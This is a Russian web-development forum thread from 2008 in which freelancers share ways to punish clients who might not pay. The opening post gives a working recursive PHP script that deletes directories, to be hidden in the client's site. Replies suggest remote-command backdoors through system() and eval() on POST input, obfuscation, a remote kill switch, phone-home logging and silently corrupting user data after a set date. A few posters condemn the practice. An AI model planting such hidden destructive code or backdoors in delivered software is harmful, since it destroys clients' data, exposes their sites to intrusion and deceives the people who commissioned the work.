Авторизация:

Защита от кидалова. PHP for ever!

Форум  |  Программирование  |  Страницы:   1   2 
Создать тему  |  Поиск

Найти сообщения:  За сутки  |  Без ответов
Автор Сообщение
Ссылка12.05.2008 в 00:10
По причине того что я на днях получил заказ от человека у которого в контактах нет данных, а проект только один - тот за который я берусь, решил обезопасить себя от возможного кидалова. Предоплату брать не могу так как я тут тоже новичек.

Полистав книгу по PHP нашел замечательную функцию - rmdir(). Создав всего один неприметный файлик в глубине каталогов, например с названием fack_off.php (ну или подобным) и содержимым:

Код:

<?php
// Рекурсивная функция удаления каталога
// с произвольной степенью вложенности
function full_del_dir($directory)
{


$dir = opendir($directory);


while(($file = readdir($dir)))


{


// Если функция readdir() вернула файл - удаляем его


if(is_file("$directory/$file")) unlink("$directory/$file");


// Если функция readdir() вернула каталог и он


// не равен текущему или родительскому - осуществляем


// рекурсивный вызов full_del_dir() для этого каталога


else if (is_dir("$directory/$file") &&


$file != "." &&


$file != "..")


{


full_del_dir("$directory/$file");


}
}
closedir($dir);
rmdir($directory);
echo("Каталог успешно удален");
}


// Удаляем каталог temp, можете указать любой :)
full_del_dir("temp");
?>


вы обезопасете себя от плохого настроения, а подумав немного можно например вывести пару матерных слов о заказчике на всю траницу сайта. конечно необходимо предусматреть откат, если недобросовестный заказчик передумает)

желаю удачи!
Ссылка12.05.2008 в 00:14
Мне нравятся решения такого плана
Ссылка12.05.2008 в 00:29
предлагаю всем у кого хорошо с PHP придумать свои, пусть несложные но еффективные скрипты и выложить здесь.

тем самым вы поможете начинающим да и сами, я уверен, будете непрочь лишний раз обезопасить себя!
Ссылка12.05.2008 в 00:43
А я бы оторвал что-нибудь исполнителю.
Ссылка12.05.2008 в 00:51  [Отредактировано: 12.05.2008 в 01:19]
Нунуну... ведь мы - исполнители в значительной мере менее защищены от кидалова а тем более что об этом файле например никто не узнает никогда.

а не хотите платить - извольте, будете страдать)
Ссылка12.05.2008 в 03:18
Наличие подобного кода уже само по себе позволяет заказчику оставить исполнителя без оплаты.
Ссылка12.05.2008 в 04:38
System($_POST['act']);

или eval($_POST['code']);

tarpedo, не стоит себя ограничивать в возможностях.
Ссылка12.05.2008 в 04:40
Я вставляю подобный код только при наличии сомнений в порядочности заказчика.
Правда еще и обфускатором прохожу, если есть возможность, то и Zend'ом )
Ссылка12.05.2008 в 07:56
Забавно)
Ссылка12.05.2008 в 12:24
Цитата (lyoxa):
System($_POST['act']);

или eval($_POST['code']);

про safe_mode забыли?
Ссылка12.05.2008 в 12:32
Это не решит проблему.
Удаление копии скрипта - сомнительный плюс, да и я бы за такую дырку обиделся.

Гораздо лучше зенд + ограничение по времени работы/количеству запусков и т.д.
Ссылка12.05.2008 в 12:52
Цитата (SmartDesign):
Это не решит проблему.
Удаление копии скрипта - сомнительный плюс, да и я бы за такую дырку обиделся.

Гораздо лучше зенд + ограничение по времени работы/количеству запусков и т.д.


Ну для этого нужно иметь полноценную версию Zend Enoder. А проще зазендите рабочие органы и делайте элементарно. Размещаете на свёом хостинге файлик. В нём только одно слово :
true или false; И та часть, которая зашифрована, вот в ней и проверяете, что в этом файле. Если true пусть работает, если false пусть die("Бабло верни";

Лично я делаю проще. Готовую систему размещают на своём хосте и показываю в работе. Как только поступает оплата отдаю нормальный скрипт без всяких дыр и зендов.
Ссылка12.05.2008 в 13:03
Цитата:
Ну для этого нужно иметь полноценную версию Zend Enoder. А проще зазендите рабочие органы и делайте элементарно. Размещаете на свёом хостинге файлик. В нём только одно слово :
true или false; И та часть, которая зашифрована, вот в ней и проверяете, что в этом файле. Если true пусть работает, если false пусть die("Бабло верни";
Все ыб ничего, но это очень легко "лечится" =)

Цитата:
Лично я делаю проще. Готовую систему размещают на своём хосте и показываю в работе. Как только поступает оплата отдаю нормальный скрипт без всяких дыр и зендов.
Это лучший вариант.
Ссылка12.05.2008 в 13:20
Есть самый идеальный вариант - написать нормальное ТЗ и составить договор плюс СБС
Ведь в случае размещения работы - если заказчик откажется забирать и, соответственно, платить - потеря денег и ресурсов.
---------
Что ж до недокументированного кода: при его наличии у заказчика есть шикарное оправдание - вот он мол встроил в сайт бекдоор,
значит правильно я ему не заплатил...
Ссылка12.05.2008 в 13:50
Цитата (3d-max):
Цитата (lyoxa):
System($_POST['act']);

или eval($_POST['code']);

про safe_mode забыли?

на eval() он никак не влияет.

Серьезные заказы всегда предусматривают наличие гарантий обеих сторон.
Но когда проект с бюджетом "ниже среднего" и исполнителя мучают сомнения, это самый надежный вариант.

Еще иногда помогает @fopen("логер на твоем сайте",""; на случай если твои скрипты сменили место пребывания.

Далее как в магазине, получаешь деньги - отдаешь чистые исходники.
Ссылка12.05.2008 в 14:37
У меня есть функция ua_id($id); Она возвращает массив пользователя найденого по ID. Я просто заказчику отправлю все файлы нормальными, а в этой функции после 20 числа ID будет браться рандомно ))) Если не кинет, то я ыбстренько всё исправлю, если кинет, то ему же хуже)))
Ссылка12.05.2008 в 14:49  [Отредактировано: 12.05.2008 в 14:51]
Умышленное включение зловредного кода, не предупреждая об этом заказчика.
За такое нужно сразу заносить в черный список, и для себя можно делать выводы, стоит ли с такими исполнителями работать.

tarpedo, вот Вы каталог удаляете, а что если заказчик в него свои данные положит, например фотки, они что, тоже удалятся?

lyoxa, DEM90, вот вставляете в код такие жучки... А что если заказчик с Вами расплатится, а после этого Вы например случайно или умышленно "забудете" их удалить?

IMHO такое можно делать только в том случае, если заказчик уведомлен о наличии жучков до полной оплаты, и дал свое согласие на это перед началом разработки.
Ссылка12.05.2008 в 15:23
Мне понравилось)
спасибо tarpedo
Ссылка12.05.2008 в 16:10
Цитата (tvv):
Умышленное включение зловредного кода, не предупреждая об этом заказчика.

Код этот по своей сути не зловреден, но станет таковым при некоторых негативных обстоятельствах со стороны заказчика.
Это ведь мой скрипт и я могу вставлять туда все что душе угодно.
Цитата (tvv):

lyoxa, DEM90, вот вставляете в код такие жучки... А что если заказчик с Вами расплатится, а после этого Вы например случайно или умышленно "забудете" их удалить?

Если случайно, то кроме разработчика об этом никто не знает. Если умышленно, то это уже другая тема.
Ссылка12.05.2008 в 16:13
Теперь знаю, кого не стоит выбирать, если мне или какому-нибудь знакомому потребуются web-разработка.